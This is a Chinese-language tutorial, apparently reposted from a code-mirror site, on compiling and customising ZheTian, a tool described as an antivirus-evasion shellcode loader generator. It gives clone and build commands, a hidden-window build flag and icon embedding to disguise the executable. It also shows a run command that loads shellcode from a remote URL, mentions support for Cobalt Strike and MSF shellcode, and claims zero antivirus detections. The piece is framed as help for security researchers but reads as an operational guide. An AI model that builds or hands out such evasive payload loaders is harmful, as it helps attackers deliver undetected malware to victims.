ZheTian编译与定制教程:从源码到可执行文件的完整流程 ZheTian编译与定制教程从源码到可执行文件的完整流程【免费下载链接】ZheTian::ZheTian / 强大的免杀生成工具Bypass All.项目地址: https://gitcode.com/gh_mirrors/zh/ZheTianZheTian是一款强大的免杀生成工具支持从源码编译到可执行文件的完整流程帮助用户轻松实现Bypass All的安全需求。本文将详细介绍ZheTian的编译环境准备、不同版本编译步骤以及定制化配置方法让新手也能快速掌握从源码到可执行文件的全过程。一、编译环境准备1.1 安装Go语言环境ZheTian使用Go语言开发首先需要安装Go环境。建议安装Go 1.16及以上版本可通过官方网站下载对应操作系统的安装包进行安装。安装完成后通过go version命令验证安装是否成功。1.2 克隆项目源码使用以下命令克隆ZheTian项目源码到本地git clone https://gitcode.com/gh_mirrors/zh/ZheTian二、ZheTian各版本编译步骤2.1 V1版本编译进入V1版本目录cd ZheTian/v1执行编译命令go build -ldflags -w -s -o ZheTian.exe若需要实现无窗口运行可使用以下命令go build -ldflags -w -s -H windowsgui -o ZheTian.exeZheTian V1版本命令行界面展示包含多种参数选项2.2 V2版本编译进入V2版本目录cd ZheTian/v2V2版本支持Cobalt Strike、MSF原生Shellcode编译命令与V1类似go build -ldflags -w -s -o ZheTian.exeZheTian V2版本运行效果显示成功生成可执行程序三、带图标编译方法3.1 准备资源文件确保V1或V2目录下存在ZheTian.manifest和favicon.ico文件。3.2 安装rsrc工具执行以下命令安装rsrc工具go get github.com/akavel/rsrc3.3 生成syso文件运行以下命令生成资源文件rsrc -manifest ZheTian.manifest -ico favicon.ico -o ZheTian.syso3.4 编译带图标程序再次执行编译命令生成带有图标的可执行文件go build -ldflags -w -s -o ZheTian.exe四、定制化配置4.1 代码修改ZheTian的核心代码位于对应版本的目录中如V1版本的v1/server/目录下包含多个功能模块。用户可根据需求修改代码实现个性化功能。ZheTian代码示例展示ShellCode处理相关代码4.2 参数定制编译完成后可通过命令行参数定制ZheTian的运行行为。例如V1版本支持从远程服务器加载ShellCodeZheTian.exe -u http://example.com/shellcode.txtV2版本支持选择系统架构生成可执行程序ZheTian -m 64 -o payload64.exe五、免杀效果测试ZheTian编译生成的可执行文件具有良好的免杀效果可通过多种杀毒软件检测。下图展示了V2版本的检测结果ZheTian V2版本在多引擎检测中实现0检出六、总结通过本文的教程你已经掌握了ZheTian从源码到可执行文件的完整编译流程包括环境准备、各版本编译步骤、带图标编译以及定制化配置方法。ZheTian作为一款强大的免杀生成工具为安全研究人员提供了便捷的解决方案。后续可关注项目的更新体验更多新功能。【免费下载链接】ZheTian::ZheTian / 强大的免杀生成工具Bypass All.项目地址: https://gitcode.com/gh_mirrors/zh/ZheTian创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考